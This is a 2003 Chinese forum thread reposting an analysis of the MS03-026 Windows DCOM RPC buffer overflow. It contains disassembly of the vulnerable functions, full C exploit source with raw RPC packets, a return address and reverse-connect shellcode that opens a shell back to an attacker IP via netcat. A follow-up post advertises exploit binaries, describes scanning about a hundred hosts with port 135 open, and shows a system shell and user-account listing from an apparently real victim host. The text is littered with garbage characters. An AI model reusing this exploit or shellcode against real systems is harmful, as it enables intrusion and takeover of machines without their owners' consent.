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LSD RPC 溢出漏洞之分析

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    2015-1-16 14:36
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    发表于 2003-8-9 22:38:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    作者:FLASHSKY/ P* J- ^4 ?9 X$ G( P$ z 作者单位:启明星辰积极防御实验室0 U- a/ F/ ^ z# H% p& M, o WWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET,WWW.SHOPSKY.COM ) ]- g+ v' V+ n1 |. c7 x: i: Z邮件:flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com $ ~ n+ a7 ]- V感谢BENJURRY做测试,翻译和代码的通用化处理。 / x4 _" F+ {- O邮件:benjurry@xfocus.org) g( w8 w5 d( i) E; r* n _; i; ~: C) d. o; O LSD 的RPC溢出漏洞(MS03-26)其实包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。4 l* V. r# X6 B3 S5 z7 F# P 导致问题的调用如下:0 X) Y+ p+ M! S' o: e' L9 X: M hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); ; P5 H; a: }- `这个调用的文件名参数(第5个参数,会引起溢出),当这个文件名超长的时候,会导致客户端的本地溢出(在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但是是用lstrcpyw进行拷贝的),这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在,在进行处理,因此由于建不了长文件,所以要利用这个溢出不能直接调用这个API,而是构造好包信息以后直接调用LPC的函数,有兴趣的可以自己去试。),我们来讲解一下远程的溢出。& w" P# h0 J2 d9 T( m9 W: ` 在客户端给服务器传递这个参数的时候,会自动转化成如下格式:L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername名,但是这里没做检查,给定了0X20(默认NETBIOS名)大小的空间,于是堆栈溢出产生了: " ?" m' O4 u: e( |5 \问题代码如下: ( b( ~4 |& ^& I1 L# |5 }: f7 W( PGetPathForServer: 9 G* Y6 H' H! n* a.text:761543DA push ebp 8 c# V$ U+ J9 B8 J1 Q- t.text:761543DB mov ebp, esp 1 p' \7 |8 {# [) b8 v.text:761543DD sub esp, 20h <-----0x20空间2 Q4 g0 h, Y7 K .text:761543E0 mov eax, [ebp+arg_4]& m! K3 g% v& G8 C. q8 i .text:761543E3 push ebx3 E2 U4 L" y& n0 m3 ~, E, F' y .text:761543E4 push esi - W. L) I" s# H1 W5 I.text:761543E5 mov esi, [ebp+hMem]+ ^6 \1 l$ c% O7 q .text:761543E8 push edi5 ]- l0 f3 V" d! n+ a .text:761543E9 push 5Ch2 a! Q u( |4 Q5 P .text:761543EB pop ebx: m- b1 ]$ n1 n4 s2 I$ f; r .text:761543EC mov [eax], esi ; ]" m( i2 H1 ~% R6 p.text:761543EE cmp [esi], bx 0 r9 ~( ?( K6 u% z4 V. O.text:761543F1 mov edi, esi 2 P6 T; h3 T; O6 L9 f; |.text:761543F3 jnz loc_761544BF , p+ e3 i& N+ f+ f1 P.text:761543F9 cmp [esi+2], bx1 Q, K+ i8 [& S; I& t8 N8 z .text:761543FD jnz loc_761544BF 6 K% H( N. D y1 m5 c.text:76154403 lea eax, [ebp+String1]《-----------写入的地址,只有0X20 - s: i2 p0 A6 @3 M9 C4 e6 K.text:76154406 push 0 5 \( T2 R j* R6 P# k9 {; d1 h.text:76154408 push eax 3 F5 v4 n; E8 L1 }$ a$ q* m.text:76154409 push esi 〈----------------------我们传入的文件名参数 2 q5 p6 p4 s( m2 m9 f0 x& b8 o.text:7615440A call GetMachineName. s4 ? u9 x0 @ 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点生效; ~( E h3 A/ A( D ! K+ ^5 S- y7 S9 S GetMachineName: 7 v% S4 Z8 i Q5 P9 T$ r7 Z.text:7614DB6F mov eax, [ebp+arg_0] / x* ]) e0 O! Y2 j l& K6 S.text:7614DB72 mov ecx, [ebp+arg_4]# B% c. `& |1 r: a. ? .text:7614DB75 lea edx, [eax+4]4 z' W; ^2 Z: o% |& u .text:7614DB78 mov ax, [eax+4]+ S9 J' a+ J( u! C/ n .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C6 L) m* e, z8 `/ }% D; v( ` .text:7614DB80 jz short loc_7614DB93 , D, b0 T( Z! K# J4 |.text:7614DB82 sub edx, ecx . ]/ M7 z' d. S' N/ J.text:7614DB84" J2 h$ F3 Y& J: I, k% b8 d: K .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j ?3 l5 ~- s( J T' J% P .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间,超过就溢出 ) r- I0 Z7 _* Q5 h5 @$ O/ L.text:7614DB87 inc ecx+ `; I3 ^- r8 R3 e8 B& a8 w! g .text:7614DB88 inc ecx + ? b. O# `% U2 J ?0 z.text:7614DB89 mov ax, [ecx+edx] - ~" H6 \4 g P0 ^* K. I.text:7614DB8D cmp ax, 5Ch 6 m2 v" L, Y+ B.text:7614DB91 jnz short loc_7614DB84) p* P+ c! y$ m/ } .text:7614DB93 * G! _" A0 i) W) P) K/ i7 _ 3 A# b* W( j& E% b; jOK,我们现在就需要想法来利用这个漏洞,由于\\SERVERNAME是由系统自动生成的,我们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包含0X5C,因为这样判断就是\\SERVERNAME结束了。 & y/ _( c# h! I r0 l: F% R4 t下面就给出一个实现的代码,注意点如下: + J8 c( h$ Q2 @1.由于RPCRT4,RPCSS中没有JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是会重定位的,大家测试的时候 ) ]- y% Y1 w& S, j( n! c' [需要再确定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。" o: a5 M: j3 l5 u6 F6 }% c: z0 @ 2。这里使用了反向连接的SHELLCODE,需要先运行NC ' c3 y& u1 c' n7 T% D7 L2 u7 n" Q3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系,因为不是整数的话,整个包的长度会有一些填充,那么- B. o4 r( u% |7 J' F 计算就不满足我这里给出的一个简单关系了,会导致RPC包的解析无效果。 % u& y7 S1 D- a+ s' q4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保证是个内存可写空间地址。 ( _: }6 s1 e' q* S5 C5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下覆盖SEH,这里就不再多讲了。 1 R4 l& U4 F9 U; t* b7 ^* Y0 ? #include 5 i# _9 V: @( e/ c0 N#include 0 k! R, D R P$ R #include 1 N8 O" a7 m3 K# p* @ V2 ^7 B. _#include 5 i- [) C* U+ V: F+ X# Q" ~ #include : x' g/ C! H f. h% v7 z$ s( H #include : d& e/ F- ?% y8 p9 Q- q 1 Y: p/ y2 b s+ @2 I1 o& Iunsigned char bindstr[]={ $ Q+ v6 x& W6 X0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 8 {* W0 W, l( H- J0 P) B: |0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0 P* H, {# X+ j" G+ U, L6 i9 B 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,) v$ B5 C9 o2 X7 ]. Q7 T/ c+ C 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, : m7 `$ c3 x6 c4 C0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; . o& Y/ s" F0 L) q # X5 f: a$ T" C O4 m6 `% dunsigned char request1[]={ , M3 O: j% W& R' ] o! g0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03) [ v% k2 z7 u: A+ L8 ` ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 - \- f+ K2 s+ A! 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X4 s; ^" g ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 2 A/ S4 r3 Y* g,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00; d) m3 G" c/ I$ O1 o" q ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 9 N8 T$ _1 P' \) |. m" I6 d+ M1 F,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00( Z1 j# z u4 A2 T9 } K0 D ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 " q$ `: F. D# r9 j,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF & I; D) ^$ k! f" {% G0 X2 q,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x000 \& z; k! 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Q8 Q ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ; |8 r; {+ _% |& x2 ~) }/ O9 \,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ; [* G4 n4 W+ @: O2 g; D,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) T( }2 V9 k9 Y+ ? ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ' c3 P; O/ h2 G) x- v# x$ ],0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 " \+ M5 v/ f& M$ c: m# E,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03: B7 V9 J7 e ?( f0 ^* a ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ' R. p7 N3 {% @8 u. \( M,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 4 j3 x. b, }% N1 M8 |2 b,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 7 W, p; r4 c0 c6 X. N+ C! z6 c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00% E9 }" B. s Z ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00* x( g: S/ A% X k. y ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00! A6 y, }, I; Q) R+ _4 K ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . p" w+ n! U0 q" T4 m,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00/ |+ s" | d# I5 R2 V5 x ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 d( x6 e& U4 d3 q) w; } ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00; a2 T6 k7 g( F0 ?& K ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00& N8 n. Q) s) f! `+ s+ A' t- b+ p5 z ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ! O( b4 `9 |5 S+ u X" j,0x00,0x00,0x00,0x00,0x00,0x00}; F, I8 d2 J* `1 Q) B6 B- E2 [. {: A3 q9 Y1 R1 X9 K unsigned char request2[]={2 E4 z1 b5 y* t. h6 i 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 x8 ~( ]" u8 v, T" [,0x00,0x00,0x5C,0x00,0x5C,0x00};! \; c4 ]; `$ L$ p 6 _. ?$ O- K% m; ^( \+ qunsigned char request3[]={ * G4 U7 v7 B' {# C$ O! W$ \0x5C,0x00 0 }# A* O5 i7 ]4 R4 [,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 " s6 P0 R3 o7 X1 o6 o+ M4 {) a& d,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 7 w! Y& @ _3 a( s6 v,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 5 L6 m& r9 n3 r" U7 d,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};2 U' f! S9 ^5 i6 w7 a , s* N; \" w/ T o& U' Z/ Z unsigned char sc[]=: @( o. j# @2 r "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"" i) c3 }) m' o0 ^1 X "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 5 Q9 z% O* H( j; P/ ]0 N* S"\x46\x00\x58\x00" - q1 @( J0 F7 G& N0 d( P8 h"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL,可能需要自己改动 ) ~' T2 ~, N% ]1 G* N"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址2 k3 {/ s2 ]% O* R2 `( x, R //下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12,不满足自己填充一些0X90吧1 v. y5 U- L1 P1 R$ c$ u //SHELLCODE不存在0X00,0X00与0X5C ( ]- B1 B8 N8 M"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"# B- x# j3 l/ G: z/ A' m4 a: h "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"4 B$ A, g/ A1 _- R; L9 T "\x93\x40\xe2\xfa"% O$ S/ J/ e% @# j // code r: U7 a: f: I) q4 H/ ?- k "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"7 k0 H! c. w& W; s "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 7 q5 T1 m0 ]: S. S"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"% @) H4 I3 d. f( v "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"# L' s8 @; Z n6 G' d8 q "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"& i' D; t7 N; P7 z "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" ! g0 k) k! r9 a! {"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" % A# S* w& I. t% [& r& F"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" ' [' M2 t! d- U$ X"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" , V+ y! u; r3 O9 i4 w. B"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" ; e# H% F* D- E0 e3 J I H$ z"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" + g! `: M8 D8 B: P7 n& f"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" - q! ^# b- W$ A/ k% |& S"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90", i8 e# U2 f) Y1 N1 r! t "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" ! j4 a" p9 N: O; p0 y9 B+ R/ _"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"9 E% r a5 s0 ? "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"( r/ A, r: Z4 N: N8 _" e "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" 8 l1 h D7 A" X; y4 P" D5 }"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" % d- \- l4 T% Y; g9 `1 Q"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" 4 N2 w( L) j/ l7 z$ V4 P; u"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"" {# ]" @: J, U& ? "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"8 D' [5 T+ W- @1 Y) l5 G "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" : q, l7 \; s" @; f+ ~( U7 _"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"8 e% T+ p- Q, R' K9 D* F# g) m "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"( ?- |4 R/ G1 ]7 b5 x "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" N( k% Z+ T) r# Q: {. v. F; q"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" % P5 M( P* K% d1 `, e& H"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; ! k* X9 X( A9 P7 m! W% X& ~/ [9 \+ z0 L7 N* t unsigned char request4[]={6 E4 n% m; }( n 0x01,0x100 e# k; U" O2 d: i ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ! r1 f: S. M1 y# w,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C : z% E: e/ r7 Q3 `,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 6 D% ~1 O7 M, p+ L% j5 A};4 Z& J7 Q/ K! I+ N4 Z ( j" x9 S x6 [5 H2 u void main(int argc,char ** argv) 0 U" {9 ?9 {* R3 G) \: d{3 R% K0 {# D0 s7 h WSADATA WSAData;3 g2 x$ f0 B& ^0 }4 c SOCKET sock;7 Q q1 C6 N, r int len,len1;# \# d ^& z5 @ SOCKADDR_IN addr_in;) I3 s( M: w* x short port=135;6 Q) _; U0 w* ^7 |. @& u unsigned char buf1[0x1000]; 3 o. Q& |" n* |) a" L. xunsigned char buf2[0x1000]; 8 I9 }1 V$ `& ?& w( Nunsigned short port1;5 z# b }! g# I DWORD cb; % O' H9 I3 i1 z- o0 S O' `, A3 k$ W+ a% A# i5 ^5 J if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) - E- y2 R5 h8 c: U8 R8 I* v7 p6 j{ 5 F( q; P2 _5 Kprintf("WSAStartup error.Error:%d\n",WSAGetLastError()); " q7 v1 c$ \8 ?4 z4 W7 Xreturn;2 H, P( L: D" v* Q } f" [5 A3 j L1 @! o 6 p; Q. @$ V* _: r addr_in.sin_family=AF_INET;- {5 u. y2 C! e% f$ E addr_in.sin_port=htons(port); + M! d, ~1 x3 g) i5 x8 vaddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); ( B/ d% C% W! W H1 {2 { ( z: F! x' t D; v) A8 J" h, Qif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)# i# f) C1 p2 M( J# N- W( b: b {+ w' y! I5 ^0 T( ? printf("Socket failed.Error:%d\n",WSAGetLastError());3 r6 u7 z* A6 V: J return; 4 T7 B8 n! L4 C! g& m. t}1 s- |# G6 h# s) b+ J7 G; G if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)1 b! D: t* M4 n. R3 a' Q { . @0 L+ e+ j1 i4 P, cprintf("Connect failed.Error:%d",WSAGetLastError());1 {6 D! S$ ]+ ^/ }9 \* k return;% F1 h8 C a* u4 ?3 ] }* v7 i z& o/ V; U* o port1 = htons (2300); //反向连接的端口/ z3 I0 A4 J+ n9 k0 k- v b o8 w2 i0 n! Z0 B port1 ^= 0x9393; % k5 H- l O8 B' x" G/ f/ Qcb=0XD20AA8C0; //反向连接的IP地址,这里是192。168。10。210,% L ~- U) p- M# D2 w% G cb ^= 0x93939393; Y/ }0 g2 M6 X8 I9 h; F*(unsigned short *)&sc[330+0x30] = port1; 9 c7 e$ r# X2 Z* K; w*(unsigned int *)&sc[335+0x30] = cb; - ?. E& ~' Z+ H$ o& x" F5 Slen=sizeof(sc); : y) c1 @" s& |2 Z. Rmemcpy(buf2,request1,sizeof(request1));/ ^3 `' l9 X) M8 C& w3 Z. P+ D len1=sizeof(request1); ; |3 z5 |0 }$ T* Q*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度( j: o2 y% Y+ c6 f *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度) w/ |, `( D, t/ S memcpy(buf2+len1,request2,sizeof(request2)); 9 R0 ?/ d$ P1 R5 Jlen1=len1+sizeof(request2);$ l: o- U S" z2 Y4 T2 w2 z memcpy(buf2+len1,sc,sizeof(sc)); 8 Z1 T, K% F! a) s6 S" Blen1=len1+sizeof(sc);; L$ F; S; R6 Q* x7 q# z( \ memcpy(buf2+len1,request3,sizeof(request3));) N) S! h. M- ~0 i: m1 R! P len1=len1+sizeof(request3);5 _7 ~ e" }) e memcpy(buf2+len1,request4,sizeof(request4));3 c# n6 g& ?* A- e len1=len1+sizeof(request4);8 {' b" w. A0 E5 Y *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; ( }1 y1 X' h8 t4 `6 m2 o C//计算各种结构的长度+ k3 t3 s- F7 V9 y/ ~& T *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; Y9 W& Z) _% ?! b*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; ) h7 v5 P2 W1 |% N: f*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;9 S: Q/ E% [7 o *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;. `; v4 I9 ]8 w8 @* G7 T *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;$ ^2 R' N7 M, W/ ^ *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; 6 j1 ?8 V$ o4 Y* ?$ J/ h7 i*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;1 ~% G; E5 c: c+ ?, f/ n+ h if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) ; x4 Y! P" I' k U{. I" a- b6 d# c6 q3 S printf("Send failed.Error:%d\n",WSAGetLastError());- l0 K, ]6 r' ^1 O" H- U return; : `( p, u- d* B}" l# w, C& b' X% K8 l $ H" w' N9 l! k& J' h len=recv(sock,buf1,1000,NULL); ! d* j3 h2 g: a2 u& H; n$ F8 sif (send(sock,buf2,len1,0)==SOCKET_ERROR)3 y' M2 {' \8 R& P2 K { 8 L; q* M: p4 S* Oprintf("Send failed.Error:%d\n",WSAGetLastError());- T1 {; @( w& { return; * T5 t: z, V# s8 Z} $ Z4 n9 ^; Z; w. a% Llen=recv(sock,buf1,1024,NULL); - [, a% t, a1 _* I4 |}" [7 ?4 u" ^8 |; R+ u% b 0 Y. E& J; |8 [ 补丁机理:9 l; G# _9 F. q' H, d# E7 e 补丁把远程和本地的溢出都补了,呵呵,这个这么有名的东西,我也懒得多说了。1 @! P3 x7 H/ x) v ) l* d- `1 n0 C0 T补记: 7 \; c+ \/ C' H& c% P7 `7 P由于缺乏更多的技术细节,搞这个从上星期五到现在终于才搞定,惭愧,不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久,怎么也无法远程进入这个函数,最后偶然的一次,让我错误的看花了眼,再远程调用的时候,以为GETSERVERPATH是存在本地溢出的GetPathForServer函数,,心中以为远程进入了GetPathForServer函数,仔细的跟踪,这才发现问题所在。感谢所有关心和指导我的同志们。
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  • TA的每日心情
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    2015-1-16 14:36
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    [LV.2]偶尔看看I

    2
     楼主| 发表于 2003-8-9 22:41:00 | 只看该作者
    攻击:XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序) M6 V! @4 \7 L$ A ~ chdcom针对以下版本:5 V9 T' A& T8 I0 N8 Q - 0 Windows xp SP1 (cn) 0 i% ^9 y r$ J: F* u* N# i- 1 Windows 2000 SP3 (cn)# ?* O2 r' d% z: K4 W( Z! e4 M - 2 Windows 2000 SP4 (cn)% ^4 l: s' Y7 j8 X' J - 3 Windows 2000 SP3 (english) + K e2 d" _5 ^' \6 J9 d- 4 Windows 2000 SP4 (english) 9 ~ i' F3 d. `( C) X2 v- 5 Windows XP SP0 (english) 9 u% `. T# o- {- 6 Windows XP SP1 (english)4 ^: w9 Q7 g' S1 Z4 |8 a' f Usage: chdcom 4 U, F% u% n% _7 t5 X& i cedcom针对以下版本: ! {% ^1 _5 R4 s( `3 q% Y9 }- 0 Windows 2000 SP0 (english) + I- w* r1 _( ]- 1 Windows 2000 SP1 (english)& }6 ^5 _$ N& Q4 j8 M - 2 Windows 2000 SP2 (english) ! E( q( C! u( n B& v3 G# o- 3 Windows 2000 SP3 (english) + h. J- F* o; A$ [- 4 Windows 2000 SP4 (english)+ n+ Y7 [7 A0 | - 5 Windows XP SP0 (english) ( S! P `5 {0 |) {: R# u- 6 Windows XP SP1 (english)4 X& @3 F! n9 P8 c' e, `$ z Usage: endcom * j: k7 d( k; I+ o$ Lcygwin1.dll应用程序扩展 ) r6 ?6 d* e; V- b. p5 k* I溢出目标IP前.先用扫描器扫描开135端口的肉机. L& L. |: c, W' a, B8 K/ ?我已经测试近百台主机,当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS(也就是说明益处成功)为%70左右,1 \6 r) w% s: M; Z# m+ P/ `) z 0 B# f. w% f! t4 P7 w 比如说目标69.X.173.63开了135端口.Target ID是4 $ X) J/ Z$ D/ x b4 ?; EC:\dcom>chdcom 4 69.X.173.63 - R+ F Z# E: @. y) M% x---------------------------------------------------------. }4 H# i. m8 B; j2 {8 U- a - Remote DCOM RPC Buffer Overflow Exploit 1 `( [+ z% F" a- K. C% H' D- Original code by FlashSky and Benjurry ' t% w( V& }- k: ]+ k- Rewritten by HDM last ! @* Z2 `2 U3 f0 A7 x: ]- last by nic 5 {3 u/ b) k; V" i-Compiled and recorrected by pingker! 5 |$ ?3 j3 S& |! K5 A. ~ \- Using return address of 0x77f92a9b7 M3 a. [/ @& L1 E9 A: l - Dropping to System Shell...$ f I1 i* H" O / w. F0 K {7 N! uMicrosoft Windows 2000 [Version 5.00.2195]- A+ T$ x1 s5 d5 e0 `+ z) Q (C) Copyright 1985-2000 Microsoft Corp.! E/ R5 }- ?! u: D9 d" n / _& ^, U6 [8 _- ]0 p6 p C:\WINNT\system32>6 }) C, P" H' ?0 c4 a5 E1 W 成功溢出. # O8 E' h8 n- q& OC:\WINNT\system32>net user( E" t1 p) v. B& g net user' f9 N: Q3 n0 R0 f0 k 2 [ H) N8 n8 b0 J% }) F User accounts for \ 5 U$ X8 t- K% @ W. q+ V7 a7 H---------------------------------------------------------------------------- 1 J) j- X) r7 l" X/ U--- & S( C- `9 v7 u: M9 {Administrator ASPNET billbishopcom 6 S5 g( }' B2 ?8 ydivyanshu ebuyjunction edynamic1% a+ t, ^; L& L. n+ P edynamic2 Guest infinityaspnet A" F7 E9 u. `! uinfinityinformations IUSR_DIALTONE 